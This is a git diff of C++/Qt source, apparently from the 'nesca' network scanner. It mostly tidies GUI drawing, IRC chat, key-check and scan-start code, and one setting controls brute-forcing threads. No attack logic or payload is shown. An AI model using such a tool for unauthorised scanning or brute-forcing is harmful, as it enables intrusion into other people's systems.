+215,8 @@ void setSceneArea() ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height()); ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height()); ui->jobRangeVisual->setSceneRect(0, 0, ui->jobRangeVisual->width(), ui->jobRangeVisual->height()); -}; +} + void setButtonStyleArea() { ui->checkKeyBut->setStyleSheet( @@ -301,7 +300,8 @@ void setButtonStyleArea() "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" "}" ); -}; +} + void setSomeStyleArea() { qApp->setStyleSheet( @@ -433,7 +433,8 @@ void setSomeStyleArea() "}" ); setButtonStyleArea(); -}; +} + void SetValidators() { QRegExpValidator *validator = new QRegExpValidator( @@ -472,7 +473,7 @@ void SetValidators() validator = new QRegExpValidator(QRegExp("[a-zA-Z0-9]{32}"), NULL); ui->linePersKey->setValidator(validator); -}; +} void nesca_3::slotDrawTextPlacers() { @@ -480,7 +481,7 @@ void nesca_3::slotDrawTextPlacers() fnt.setFamily("Eurostile"); if(ME2ScanFlag) { - delete []sceneTextPlacer; + delete sceneTextPlacer; sceneTextPlacer = NULL; sceneTextPlacer = new QGraphicsScene(); ui->graphicTextPlacer->setScene(sceneTextPlacer); @@ -560,14 +561,13 @@ void nesca_3::slotDrawTextPlacers() } else if(VoiceScanFlag) { - sceneTextPlacer->clear(); - QPen penPT(QColor(255, 255, 255), 0.5, Qt::SolidLine, Qt::SquareCap, Qt::RoundJoin); + sceneTextPlacer->clear(); fnt.setPixelSize(8); int h = ui->graphicLog->height(); - delete []sceneTextPlacer; + delete sceneTextPlacer; sceneTextPlacer = NULL; sceneTextPlacer = new QGraphicsScene(); ui->graphicTextPlacer->setScene(sceneTextPlacer); @@ -581,7 +581,8 @@ void nesca_3::slotDrawTextPlacers() item->setDefaultTextColor(QColor(255, 255, 255, 180)); }; }; -}; +} + void nesca_3::slotDrawDelimLines() { int gHeight = ui->graphicLog->height(); @@ -608,7 +609,8 @@ void nesca_3::slotDrawDelimLines() sceneGrid2->addRect(154, 0, 38, gHeight - 3, penDelim2); sceneGrid2->addRect(194, 0, 38, gHeight - 3, penDelim2); sceneGrid2->addRect(234, 0, 35, gHeight - 3, penDelim2); -}; +} + QList<int> gLOL0; QList<int> gLOL1; QList<int> gLOL2; @@ -625,8 +627,7 @@ void nesca_3::slotQoSAddLine() sceneGrid2->clear(); sceneUpper->clear(); - float gHeight = ui->graphicLog->height(); - float gWidth = ui->graphicLog->width(); + float gHeight = ui->graphicLog->height(); float fact = (float)100 / (float)MaxDataVal; @@ -700,13 +701,13 @@ void nesca_3::slotQoSAddLine() item->setX(215); item->setDefaultTextColor(Qt::white); QOSWait = false; -}; +} + void nesca_3::slotQoSAddGrid() { sceneGrid->clear(); - int gWidth = ui->graphicLog->width(); - int gHeight = ui->graphicLog->height(); + int gWidth = ui->graphicLog->width(); if(MaxDataVal > 100) MaxDataVal = 100; float fact = (float)100/(float)MaxDataVal; @@ -716,11 +717,13 @@ void nesca_3::slotQoSAddGrid() th += fact; sceneGrid->addLine(0, th, gWidth, th, rpen); }; -}; +} + void nesca_3::setNickBox(QString str) { ui->ircNickBox->setText(str); -}; +} + void nesca_3::slotAddLine(int x1, int y1, int x2, int y2) { sceneGrid->addLine(x1, y1, x2, y2, pen); @@ -729,7 +732,8 @@ void nesca_3::slotAddLine(int x1, int y1, int x2, int y2) sceneGrid->removeItem(vectOld[10]); sceneGrid->items().pop_back(); }; -}; +} + void nesca_3::slotAddPolyLine() { if(ME2ScanFlag) @@ -771,17 +775,18 @@ void nesca_3::slotAddPolyLine() }; if(u > 10) u = 1; }; -}; +} + void nesca_3::slotDrawGrid() { sceneGrid->clear(); -}; +} + void nesca_3::slotDrawActivityGrid() { sceneActivityGrid->clear(); QPen penActivity(QColor(170, 170, 170, 150), 0.1); - int gWidth = ui->graphicActivityGrid->width(); int gHeight = ui->graphicActivityGrid->height(); //Vertical @@ -789,7 +794,7 @@ void nesca_3::slotDrawActivityGrid() { sceneActivityGrid->addLine(i, 0, i, gHeight, penActivity); }; -}; +} void nesca_3::slotDrawActivityLine(QString data) { @@ -800,12 +805,7 @@ void nesca_3::slotDrawActivityLine(QString data) for(int i = 1; i < actLst.size(); ++i) { - as += 2; - int al1 = actLst[i]; - int al12 = actLst[i-1]; - int yy = 16 - actLst[i - 1]; - int yy2 = 16 - actLst[i]; - + as += 2; sceneActivity->addLine(as - 2, 16 - actLst[i - 1], as, 16 - actLst[i], penActivity); }; QFont fnt; @@ -815,7 +815,8 @@ void nesca_3::slotDrawActivityLine(QString data) titem->setX(43 - data.length()*2); titem->setY(-5); titem->setDefaultTextColor(QColor(255, 255, 255, 80)); -}; +} + void nesca_3::slotDrawVoiceGrid(int factor) { sceneGrid->clear(); @@ -839,7 +840,8 @@ void nesca_3::slotDrawVoiceGrid(int factor) { sceneGrid->addLine(i, 0, i, gHeight, penActivity); }; -}; +} + void nesca_3::activateME2ScanScene() { if(ME2ScanFlag == false) @@ -891,7 +893,8 @@ void nesca_3::activateME2ScanScene() dtME2->start(); }; }; -}; +} + void nesca_3::activateQoSScanBut() { if(QoSScanFlag == false) @@ -948,7 +951,8 @@ void nesca_3::activateQoSScanBut() if(dtQoS->isRunning() == false) dtQoS->start(); if(dtGridQoS->isRunning() == false) dtGridQoS->start(); }; -}; +} + void nesca_3::activateVoiceScanBut() { if(VoiceScanFlag == false) @@ -989,7 +993,8 @@ void nesca_3::activateVoiceScanBut() if(vsTh->isRunning() == false) vsTh->start(); }; -}; +} + void nesca_3::slotUpdatePie() { sceneGraph->clear(); @@ -1145,7 +1150,8 @@ void nesca_3::slotUpdatePie() item->setBrush(QBrush(Qt::darkRed)); sceneGraph->addItem(item); }; -}; +} + void nesca_3::activatePieStatBut() { if(PieStatFlag == false) @@ -1187,7 +1193,8 @@ void nesca_3::activatePieStatBut() if(psTh->isRunning() == false) psTh->start(); }; -}; +} + bool stopFirst; void nesca_3::importAndScan() { @@ -1255,7 +1262,8 @@ void nesca_3::importAndScan() STTTerminate(); }; }; -}; +} + void nesca_3::switchDataFields() { if(ui->switcherBut->text() == "<") @@ -1272,7 +1280,8 @@ void nesca_3::switchDataFields() ui->BAText->lower(); ui->switcherBut->setText("<"); }; -}; +} + void nesca_3::slotBlinkMessage() { if(blinkFlag) @@ -1287,7 +1296,8 @@ void nesca_3::slotBlinkMessage() ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 255);background-color: rgba(2, 2, 2, 0);"); ui->IRCModeBut->setStyleSheet("color: rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 0, 0, 255);"); }; -}; +} + void nesca_3::ChangeDispalyMode() { if(widgetIsHidden == false && tray->isVisible() == false) @@ -1315,7 +1325,8 @@ void nesca_3::ChangeDispalyMode() printDelimiter = true; ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730)); }; -}; +} + void nesca_3::switchToJobMode() { if(ui->widgetJOB->geometry().x() == 500) @@ -1332,7 +1343,8 @@ void nesca_3::switchToJobMode() ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730)); ui->JobModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); }; -}; +} + void nesca_3::CheckProxy() { saveOptions(); @@ -1348,7 +1360,8 @@ void nesca_3::CheckProxy() chPTh->doEmitChangeYellowIRCData("Checking " + ui->ircProxy->text() + ":" + ui->ircProxyPort->text() + "..."); chPTh->start(); -}; +} + void nesca_3::slotIRCOfflined() { CSSOCKET(lSock); @@ -1360,7 +1373,8 @@ void nesca_3::slotIRCOfflined() "}"); ui->IRCConnectBut->setText("Connect"); ui->ircText->append("<span style=\"color:#efe100;\">[-//-] Disconnected.</span>"); -}; +} + void nesca_3::ConnectToIRCServer() { saveOptions(); @@ -1400,7 +1414,7 @@ void nesca_3::ConnectToIRCServer() "}"); ui->IRCConnectBut->setText("Disconnect"); if(proxyEnabledFlag) ui->ircText->append("<span style=\"color:#efe100;\">[*] Using proxy " + QString(ircProxy) + ":" + QString(ircProxyPort) + ".</span>"); - else ui->ircText->append("<span style=\"color:#efe100;\">[*] No proxy selected! Connecting with your ip address.</span>"); + else ui->ircText->append("<span style=\"color:#efe100;\">[*] No proxy selected! Connecting directly...</span>"); ircTh->start(); } else @@ -1437,7 +1451,8 @@ void nesca_3::ConnectToIRCServer() ui->ircText->append("<span style=\"color:red;background-color:#313131;\">No IRC server specified!</span>"); }; -}; +} + void nesca_3::ChangeIRCRawLog() { if(ui->IRCModeChangerBut->text() == ":IRC raw") @@ -1454,13 +1469,15 @@ void nesca_3::ChangeIRCRawLog() ui->ircText->raise(); ui->ircRaw->lower(); }; -}; +} + void nesca_3::ChangeNick() { strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); - UserNickInit(lSock); + UserNickInit(); ui->shoutBox->setFocus(); -}; +} + void nesca_3::CheckPersKey() { emitIfOK = -1; @@ -1473,9 +1490,10 @@ void nesca_3::CheckPersKey() } else { - stt->doEmitionRedFoundData("Wait until checker-thread finishes."); + stt->doEmitionRedFoundData("Still ckecking your key, please wait..."); }; -}; +} + void nesca_3::CheckPersKey(int val = -1) { emitIfOK = val; @@ -1483,14 +1501,15 @@ void nesca_3::CheckPersKey(int val = -1) _SaveBackupToFile(); if(!chKTh->isRunning()) { - stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); + stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); chKTh->start(); } else { - stt->doEmitionRedFoundData("Wait until checker-thread finishes."); + stt->doEmitionRedFoundData("Still ckecking your key, please wait..."); }; -}; +} + void _finishNick() { QList<QListWidgetItem *> ql = ui->nickList->findItems(ui->shoutBox->text(), Qt::MatchStartsWith); @@ -1499,7 +1518,8 @@ void _finishNick() ui->shoutBox->setText(ql[0]->text() + ", "); ui->shoutBox->setFocus(); }; -}; +} + bool nesca_3::eventFilter(QObject* obj, QEvent *event) { if (obj == ui->shoutBox) @@ -1544,13 +1564,17 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) { privateMsgFlag = true; event->accept(); + return true; }; + return false; } else if (event->type() == QEvent::KeyRelease) { privateMsgFlag = false; event->accept(); + return true; }; + return false; } else if (obj == ui->widgetIRC) { @@ -1565,13 +1589,17 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) { privateMsgFlag = true; event->accept(); + return true; }; + return false; } else if (event->type() == QEvent::KeyRelease) { privateMsgFlag = false; event->accept(); + return true; }; + return false; } else { @@ -1582,15 +1610,20 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) { privateMsgFlag = true; event->accept(); + return true; }; + return false; } else if(event->type() == QEvent::KeyRelease) { privateMsgFlag = false; event->accept(); + return true; }; + return false; }; -}; +} + void nesca_3::ChangeTopic() { if(ui->topicLine->text().size() > 0) @@ -1609,7 +1642,8 @@ void nesca_3::ChangeTopic() sendS(lSock, temp, strlen(temp), 0); }; -}; +} + void nesca_3::SaySmthng() { if(ui->shoutBox->text().size() > 0) @@ -1722,7 +1756,7 @@ void nesca_3::SaySmthng() strcat(temp, nickP.toLocal8Bit().data()); strcat(temp, "\n"); ui->ircNickBox->setText(nickP); - UserNickInit(lSock); + UserNickInit(); } else { @@ -1762,7 +1796,8 @@ void nesca_3::SaySmthng() ui->shoutBox->clear(); }; -}; +} + void nesca_3::slotChangeCPModeToUTF() { utfIRCFlag = true; @@ -1775,7 +1810,8 @@ void nesca_3::slotChangeCPModeToUTF() ui->ircRaw->setHtml( QString(wtfR) ); ui->ircText->verticalScrollBar()->setValue(ui->ircText->verticalScrollBar()->maximum()); ui->ircRaw->verticalScrollBar()->setValue(ui->ircRaw->verticalScrollBar()->maximum()); -}; +} + void nesca_3::slotChangeCPModeTo1251() { utfIRCFlag = false; @@ -1786,7 +1822,8 @@ void nesca_3::slotChangeCPModeTo1251() ui->ircRaw->setHtml(globalIRCRaw.replace("\n", "<br>")); ui->ircText->verticalScrollBar()->setValue(ui->ircText->verticalScrollBar()->maximum()); ui->ircRaw->verticalScrollBar()->setValue(ui->ircRaw->verticalScrollBar()->maximum()); -}; +} + void nesca_3::onLinkClicked(QUrl link) { QString lnk = link.toString(); @@ -1805,7 +1842,8 @@ void nesca_3::onLinkClicked(QUrl link) { QDesktopServices::openUrl(link); }; -}; +} + void nesca_3::slotRestartIRC() { ircPTh->terminate(); @@ -1813,12 +1851,14 @@ void nesca_3::slotRestartIRC() CSSOCKET(lSock); ircTh->terminate(); ircTh->start(); -}; +} + void nesca_3::slotClearLogs() { ui->dataText->clear(); ui->BAText->clear(); -}; +} + void nesca_3::slotIRCGetTopic(QString str) { ui->topicLine->setText(str); @@ -1826,7 +1866,8 @@ void nesca_3::slotIRCGetTopic(QString str) rData = "<font style=\"color:#c0ff00; text-decoration: underline;\">Topic: \"" + str + "\"</font>"; globalIRCText += rData + "\n"; ui->ircText->append(rData); -}; +} + //unsigned char jpgHeader[623] = { // 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x60, // 0x00, 0x60, 0x00, 0x00, 0xFF, 0xDB, 0x00, 0x43, 0x00, 0x02, 0x01, 0x01, 0x02, 0x01, 0x01, 0x02, @@ -1944,7 +1985,8 @@ void nesca_3::slotSaveImage(QAction *qwe) if(filename != "") image.save(filename + ".png"); }; }; -}; +} + void PieStatView::contextMenuEvent(QContextMenuEvent *event) { menuPS = new QMenu; @@ -1952,7 +1994,8 @@ void PieStatView::contextMenuEvent(QContextMenuEvent *event) menuPS->popup(event->globalPos()); connect(menuPS, SIGNAL(triggered(QAction *)), gthis, SLOT(slotSaveImage(QAction *))); -}; +} + QLabel *msgLbl; QLabel *msgDLbl; QLabel *msgTLbl; @@ -1970,7 +2013,8 @@ void nesca_3::slotUnhidePopup(QString strD = "", QString senderNick = "") if(msgLbl != NULL) msgLbl->setText(str); if(msgNLbl != NULL) msgNLbl->setText(senderNick); if(msgDLbl != NULL) msgDLbl->setText(QTime::currentTime().toString()); -}; +} + void CreateMsgPopupWidget(QString str = "", QString senderNick = "") { QDesktopWidget desk; @@ -2032,7 +2076,8 @@ void CreateMsgPopupWidget(QString str = "", QString senderNick = "") "color: rgb(246, 246, 246);background-color: rgba(2, 2, 2, 0); border:none;font-weight: bold;text-decoration:underline;" ); msgNLbl->show(); -}; +} + QTextBrowser *SendData; QTextBrowser *RecvData; void nesca_3::slotShowDataflow() @@ -2068,15 +2113,16 @@ void nesca_3::slotShowDataflow() else { ui->DataflowModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); - delete []SendData; - delete []RecvData; - delete []qwm; + delete SendData; + delete RecvData; + delete qwm; qwm = NULL; RecvData = NULL; SendData = NULL; MapWidgetOpened = false; }; -}; +} + QGraphicsPathItem *GiveMeGItem(QVector<QPointF> vAnomLst) { QPolygonF qpf; @@ -2094,7 +2140,8 @@ QGraphicsPathItem *GiveMeGItem(QVector<QPointF> vAnomLst) }; }; return new QGraphicsPathItem(path); -}; +} + void nesca_3::slotVoiceAddLine() { int as = 0; @@ -2157,7 +2204,8 @@ void nesca_3::slotVoiceAddLine() sceneVoice->addLine(as - 2, 120 - vSSHLst[i - 1], as, 120 - vSSHLst[i] - 1, penQoS7); }; }; -}; +} + void nesca_3::slotShowNicks() { if(ui->nickShowBut->text() == "<") @@ -2171,7 +2219,8 @@ void nesca_3::slotShowNicks() ui->nickShowBut->setText("<"); ui->nickList->lower(); }; -}; +} + QRegExp _rOutProt(" HTTP/1.\\d+"); QRegExp _rOutPath(" /(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\[|\\])* "); QRegExp _rOutHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); @@ -2204,7 +2253,8 @@ void nesca_3::slotOutData(QString ip, QString str) SendData->append("<font color=\"#F0FFFF\">[" + ip + "]</font><br>" + str + "<hr><br>"); }; -}; +} + QRegExp _rIncProt("HTTP/1.\\d+ "); QRegExp _rIncHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); QRegExp _rIncTags1("<.{1,8}>"); @@ -2357,7 +2407,8 @@ void nesca_3::slotIncData(QString ip, QString str) RecvData->append("<font color=\"#F0FFFF\">[" + ip + "]</font><br>" + str + "<hr><br>"); }; }; -}; +} + #pragma region SM_Buts void nesca_3::smReaction() { @@ -2512,8 +2563,7 @@ void nesca_3::smReaction() stt->doEmitionDebugFoundData("[HTML Debug mode OFF]"); }; }; - -}; +} void nesca_3::IPScanSeq() { @@ -2597,7 +2647,8 @@ void nesca_3::IPScanSeq() STTTerminate(); }; }; -}; +} + void nesca_3::DNSScanSeq() { if(ui->lineEditStartIPDNS->text() != "") @@ -2648,7 +2699,8 @@ void nesca_3::DNSScanSeq() { stt->doEmitionRedFoundData("Wrong mask input."); }; -}; +} + void nesca_3::ImportScanSeq() { QString fileName; @@ -2684,7 +2736,8 @@ void nesca_3::ImportScanSeq() { stt->doEmitionYellowFoundData("Empty filename."); }; -}; +} + QLabel *smsgLbl; QLabel *smsgNLbl; void nesca_3::slotShowServerMsg(QString str) @@ -2705,11 +2758,13 @@ void nesca_3::slotShowServerMsg(QString str) "position: absolute;" ); msgBox.exec(); -}; -void nesca_3::DNSLine_ValueChanged(QString str) +} + +void nesca_3::DNSLine_ValueChanged() { if(globalScanFlag == 0) ui->startScanButton_4->setText("Start"); -}; +} + void nesca_3::slotRestoreDefPorts() { int ci = ui->tabMainWidget->currentIndex(); @@ -2726,7 +2781,8 @@ void nesca_3::slotRestoreDefPorts() { ui->importPorts->setText(PORTSET); }; -}; +} + QGraphicsTextItem *textItem = NULL; QGraphicsRectItem* pbItem = NULL; QGraphicsRectItem* pbBlackRectItem = NULL; @@ -2780,12 +2836,14 @@ void nesca_3::slotPBUpdate() pbScene->addLine(0, 66, 8, 66, pbPen); pbScene->addLine(4, 77, 6, 77, pbPen); pbScene->addLine(4, 88, 6, 88, pbPen); -}; +} + void nesca_3::changeNSTrackLabel(bool status) { if(status) ui->NSTrackStatusLabel->setStyleSheet("background-color: green; border: 1px solid white;"); else ui->NSTrackStatusLabel->setStyleSheet("background-color: black; border: 1px solid white;"); -}; +} + #pragma region "Signal assignments" void nesca_3::ConnectEvrthng() { @@ -2918,8 +2976,7 @@ void nesca_3::ConnectEvrthng() connect ( vsTh, SIGNAL(sDrawTextPlacers()), this, SLOT(slotDrawTextPlacers())); connect ( psTh, SIGNAL(sUpdatePie()), this, SLOT(slotUpdatePie()) ); connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) ); -}; - +} void RestoreSession() { @@ -3203,6 +3260,7 @@ void RestoreSession() }; } + void CreateVerFile() { FILE *vf = fopen("version", "w"); @@ -3212,12 +3270,12 @@ void CreateVerFile() fputs(gVER, vf); fclose(vf); }; -}; +} + char *GetVer() { int dver = 0; - int tver = 0; - char t[32] = __DATE__; + int tver = 0; dver = __DATE__[9] - 48; dver *= 10; @@ -3262,20 +3320,22 @@ char *GetVer() strcat(db, tb); return db; -}; +} void nesca_3::slotShowRedVersion() { ui->rVerLabel->show(); -}; +} + void _startVerCheck() { vct->start(); -}; +} + void _startMsgCheck() { mct->start(); -}; +} nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent) { @@ -3362,11 +3422,13 @@ void _startMsgCheck() // jobRangeVisualScene->addLine(step, 0, step, 41, iprvPen); // step += 30; //}; -}; +} + void nesca_3::playFcknSound() { QSound::play("00000036.wav"); -}; +} + void nesca_3::mousePressEvent(QMouseEvent *event) { if (event->button() == Qt::LeftButton) { @@ -3374,19 +3436,22 @@ void nesca_3::mousePressEvent(QMouseEvent *event) event->accept(); }; } + void nesca_3::mouseReleaseEvent(QMouseEvent * event) { if (event->modifiers() == Qt::ControlModifier) { privateMsgFlag = false; event->accept(); }; -}; +} + void nesca_3::mouseMoveEvent(QMouseEvent * event) { QPoint CPos = (event->globalPos() - dragPosition); QWidget::move(CPos); if(qwm != NULL) qwm->move(CPos.x() + WIDGET_WIDTH + 5, CPos.y()); -}; +} + void nesca_3::exitButtonClicked() { globalScanFlag = false; @@ -3395,7 +3460,8 @@ void nesca_3::exitButtonClicked() WSACleanup(); #endif qApp->quit(); -}; +} + void nesca_3::trayButtonClicked() { if(tray->isVisible()) @@ -3408,15 +3474,18 @@ void nesca_3::trayButtonClicked() hide(); tray->show(); }; -}; +} + void nesca_3::ChangeShuffle(bool val) { gShuffle = val; -}; +} + void nesca_3::ChangeTrackerOK(bool val) { trackerOK = val; -}; +} + void nesca_3::ChangePingerOK(bool val) { ui->PingTO->setEnabled(val); @@ -3429,13 +3498,13 @@ void nesca_3::ChangePingerOK(bool val) { ui->PingTO->setStyleSheet("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;"); }; -}; - +} void nesca_3::ChangeDebugFileState(bool val) { debugFileOK = val; -}; +} + void nesca_3::saveOptions() { int ci = ui->tabMainWidget->currentIndex(); @@ -3510,7 +3579,8 @@ void nesca_3::saveOptions() strcpy(ircProxy, ui->ircProxy->text().toLocal8Bit().data()); strcpy(ircProxyPort, ui->ircProxyPort->text().toLocal8Bit().data()); strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); -}; +} + void nesca_3::STTTerminate() { importFileName = ""; @@ -3536,7 +3606,8 @@ void nesca_3::STTTerminate() ui->startScanButton_4->setText("Start"); ui->importButton->setText("Import&&Scan"); ui->labelStatus_Value->setText("Idle"); -}; +} + bool dfLocked = false; void writeDebugFile(QString str) { @@ -3567,7 +3638,8 @@ void writeDebugFile(QString str) { stt->doEmitionRedFoundData("[DEBUG: Cannot open " + QString(fn) + "]"); }; -}; +} + void nesca_3::startScanButtonClicked() { if(startFlag == false) @@ -3621,7 +3693,8 @@ void nesca_3::startScanButtonClicked() STTTerminate(); }; }; -}; +} + void nesca_3::startScanButtonClickedDNS() { if(startFlag == false) @@ -3675,44 +3748,54 @@ void nesca_3::startScanButtonClickedDNS() STTTerminate(); }; }; -}; +} + void nesca_3::logoLabelClicked() { QDesktopServices::openUrl(QUrl("http://nesca.d3w.org/")); -}; +} + void nesca_3::ChangeLabelTO_ValueChanged(QString str) { gTimeOut = str.toInt(); -}; +} + void nesca_3::ChangeLabelThreads_ValueChanged(QString str) { gThreads = str.toInt(); -}; +} + void nesca_3::PingTO_ChangeValue(QString str) { gPingTimeout = str.toInt(); -}; +} + void nesca_3::ThreadDelay_ChangeValue(QString str) { gThreadDelay = str.toInt(); -}; +} + void nesca_3::MaxBrutingThr_ChangeValue(QString str) { gMaxBrutingThreads = str.toInt(); -}; +} + void nesca_3::appendRedBAData(QString str) { ui->BAText->append("<span style=\"color:red;background-color:#313131;\">" + QString::fromUtf8(str.toLocal8Bit().data()) + "</span>"); -}; +} + void nesca_3::appendGreenBAData(QString str) { ui->BAText->append("<span style=\"color:#06ff00;\">" + str + "</span>"); -}; +} + void nesca_3::appendDefaultText(QString str) { ui->dataText->append("<p style=\"color: #a1a1a1;\">[" + QTime::currentTime().toString() + "] " + str + "</p>"); if(debugFileOK) writeDebugFile(str + "\n"); -}; +} + void nesca_3::appendErrText(QString str) { ui->dataText->append("<span style=\"color:red;background-color:#313131;\">[" + QTime::currentTime().toString() + "]" + QString::fromUtf8(str.toLocal8Bit().data()) + "</span>"); @@ -3726,28 +3809,31 @@ void nesca_3::appendErrText(QString str) stt->terminate(); }; if(debugFileOK) writeDebugFile(str + "\n"); -}; +} + void nesca_3::appendOKText(QString str) { ui->dataText->append("<span style=\"color:#06ff00;\">[" + QTime::currentTime().toString() + "][OK] " + str + "</span>"); if(debugFileOK) writeDebugFile(str + "\n"); -}; +} + void nesca_3::appendNotifyText(QString str) { ui->dataText->append("<span style=\"color:#efe100;\">[" + QTime::currentTime().toString() + "][*] " + str + "</span>"); if(debugFileOK) writeDebugFile(str + "\n"); -}; +} + void nesca_3::appendDebugText(QString str) { ui->dataText->append("<span style=\"color:#0084ff;\">[DEBUG] " + str + "</span>"); if(debugFileOK) writeDebugFile(str + "\n"); -}; +} + QRegExp r("[ht|f]{0,2}tp[s]{0,1}://(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|=|\\+|<|>|;|:|\"|'|~|\\[|\\])*[\\s|\\t]{0,1}"); QRegExp under("((.+|(.+$)))"); QRegExp boldr("((.+|(.+$)))"); QRegExp colr("(\\d+[,\\d+]{0,2})"); - QString GetColorCode(int mode, QString str) { QRegExp c("(\\d{0,2})"); @@ -3787,7 +3873,8 @@ QString GetColorCode(int mode, QString str) else result = "#AFAFAF"; return result; -}; +} + void nesca_3::appendDefaultIRCTextOut(QString str) { bool thisIsUrl = false; @@ -3816,8 +3903,9 @@ void nesca_3::appendDefaultIRCTextOut(QString str) else ui->ircText->append(rData); thisIsUrl = false; -}; -void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, int cCode, QString str, QString senderNick) +} + +void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, QString str, QString senderNick) { bool thisIsUrl = false; @@ -3923,28 +4011,32 @@ void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, int cCode, QString str, } else ui->ircText->append(rData); }; -}; +} + void nesca_3::appendRedIRCText(QString str) { QString rData; rData = "<font style=\"color:red;background-color:#313131;\">[" + QTime::currentTime().toString() + "] " + str + "</font>"; globalIRCText += rData + "\n"; ui->ircText->append(rData); -}; +} + void nesca_3::appendGreenIRCText(QString str) { QString rData; rData = "<font style=\"color:#06ff00;\">[" + QTime::currentTime().toString() + "] " + str + "</font>"; globalIRCText += rData + "\n"; ui->ircText->append(rData); -}; +} + void nesca_3::appendYellowIRCText(QString str) { QString rData; rData = "<font style=\"color:#efe100;\">[" + QTime::currentTime().toString() + "] " + "[*] " + str.trimmed() + "</font>"; globalIRCText += rData + "\n"; ui->ircText->append(rData); -}; +} + void nesca_3::appendDefaultIRCRawTextInc(QString str) { QString rData; @@ -3957,7 +4049,8 @@ void nesca_3::appendDefaultIRCRawTextInc(QString str) ui->ircRaw->append(QString(wtf)); } else ui->ircRaw->append(rData); -}; +} + void nesca_3::appendDefaultIRCRawTextOut(QString str) { QString rData; @@ -3970,11 +4063,13 @@ void nesca_3::appendDefaultIRCRawTextOut(QString str) ui->ircRaw->append(QString(wtf)); } else ui->ircRaw->append(rData); -}; +} + void nesca_3::slotClearNickList() { ui->nickList->clear(); -}; +} + void nesca_3::slotAppendIRCNick(QString str) { if(str.size() > 0 && str != " ") @@ -3982,7 +4077,8 @@ void nesca_3::slotAppendIRCNick(QString str) ui->nickList->addItem(str.remove("@")); ui->nickList->setGeometry(ui->nickList->x(), ui->nickList->y(), ui->nickList->width(), ui->nickList->count() * 17 + 5); }; -}; +} + void nesca_3::slotItemClicked(QListWidgetItem* wi) { if(privateMsgFlag == false) @@ -3996,7 +4092,8 @@ void nesca_3::slotItemClicked(QListWidgetItem* wi) ui->shoutBox->setText("/w " + wi->text().remove("@") + " "); ui->shoutBox->setFocus(); }; -}; +} + nesca_3::~nesca_3() { delete[] ui; diff --git a/nesca_3.h b/nesca_3.h index 585757c..3a4a9f9 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -64,7 +64,7 @@ protected: void ChangePingerOK(bool val); void changeNSTrackLabel(bool status); void slotPBUpdate(); - void DNSLine_ValueChanged(QString str); + void DNSLine_ValueChanged(); void slotChangeCPModeToUTF(); void slotChangeCPModeTo1251(); void slotShowRedVersion(); @@ -141,7 +141,7 @@ protected: void appendRedIRCText(QString str); void appendGreenIRCText(QString str); void appendYellowIRCText(QString str); - void appendDefaultIRCText(bool, bool, int, QString str, QString s); + void appendDefaultIRCText(bool, bool, QString str, QString s); void appendDefaultIRCTextOut(QString str); void appendDefaultIRCRawTextInc(QString str); void appendDefaultIRCRawTextOut(QString str); diff --git a/nesca_3.qrc b/nesca_3.qrc index 8186192..3d860f6 100644 --- a/nesca_3.qrc +++ b/nesca_3.qrc @@ -1,6 +1,5 @@ <RCC> <qresource prefix="/nesca_3"> <file>Eurostile.ttf</file> - <file>Z:/nesca.ico</file> </qresource> </RCC> diff --git a/nesca_3.ui b/nesca_3.ui index bb2476c..a30cf90 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -1385,6 +1385,7 @@ border-radius: 3px;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> <weight>75</weight> <bold>true</bold> <underline>false</underline> @@ -2929,6 +2930,7 @@ background-color: #000000;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 47ff76d..02f96d4 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -4,9 +4,11 @@ #include "externData.h" #include "externFunctions.h" -typedef struct ST{ +typedef struct { char argv[MAX_ADDR_LEN]; -}sockstruct; +} ST; + +ST *st = NULL; QJsonArray *jsonArr = new QJsonArray(); @@ -420,7 +422,8 @@ void *_timer() ZeroMemory(dbuffer, sizeof(dbuffer)); Sleep(1000); }; -}; +} + bool trackAlreadyGoing = false; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) void _tracker() @@ -873,7 +876,7 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) // // // return res; -//}; +//} Connector con; #if defined(WIN32) || defined(_WIN32) || 